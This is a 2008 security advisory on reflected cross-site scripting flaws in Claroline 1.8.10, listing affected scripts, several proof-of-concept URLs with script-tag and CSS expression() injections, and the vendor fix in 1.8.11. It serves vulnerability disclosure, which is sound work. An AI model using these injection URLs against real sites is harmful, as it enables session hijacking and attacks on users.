DSECRG-08-032.txt

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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-032  
  
  
Application: Claroline eLearning and eWorking platform  
Versions Affected: 1.8.10  
Vendor URL: http://www.claroline.net/  
Bug: Multiple Linked XSS  
Exploits: YES  
Reported: 18.07.2008  
Vendor Response: 22.07.2008  
Solution: YES  
Date of Public Advisory: 22.07.2008  
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
Claroline system has multiple linked XSS vulnerabilities.  
  
  
  
Details  
*******  
  
1. Multiple linked XSS vulnerabilities found. Attacker can inject XSS in URL string  
  
1.1 Linked XSS vulnerabilities found in scripts:  
  
claroline/announcements/messages.php  
claroline/auth/lostPassword.php  
claroline/auth/profile.php  
claroline/calendar/myagenda.php  
claroline/group/group.php  
claroline/learnPath/learningPath.php  
claroline/learnPath/learningPathList.php  
claroline/learnPath/module.php  
claroline/phpbb/index.php  
claroline/tracking/courseLog.php  
claroline/tracking/course_access_details.php  
claroline/tracking/delete_course_stats.php  
claroline/tracking/userLog.php  
claroline/tracking/user_access_details.php  
claroline/user/user.php  
claroline/user/userInfo.php  
  
Attacker can inject XSS in URL string.  
  
Example:  
  
http://[server]/[installdir]/claroline/calendar/myagenda.php?"><script>alert('DSecRG XSS')</script>   
http://[server]/[installdir]/claroline/user/user.php?"><script>alert('DSecRG XSS')</script>  
  
  
1.2 Linked XSS vulnerability found in claroline/tracking/courseLog.php   
  
GET parameter "view"  
  
Example:  
  
http://[server]/[installdir]/claroline/tracking/courseLog.php?view=DSec" STYLE="xss:expression(alert('DSecRG XSS'))  
  
  
1.3 Linked XSS vulnerability found in claroline/tracking/toolaccess_details.php   
  
GET parameter "toolId"  
  
Example:  
  
http://[server]/[installdir]/claroline/tracking/toolaccess_details.php?toolId="><script>alert('DSecRG XSS')</script>  
  
  
  
Solution  
********  
  
Vendor fix this flaw on 22.07.2008. New version 1.8.11 can be downloaded here:  
  
http://downloads.sourceforge.net/claroline/claroline1811.tar.gz  
http://downloads.sourceforge.net/claroline/claroline1811.zip  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
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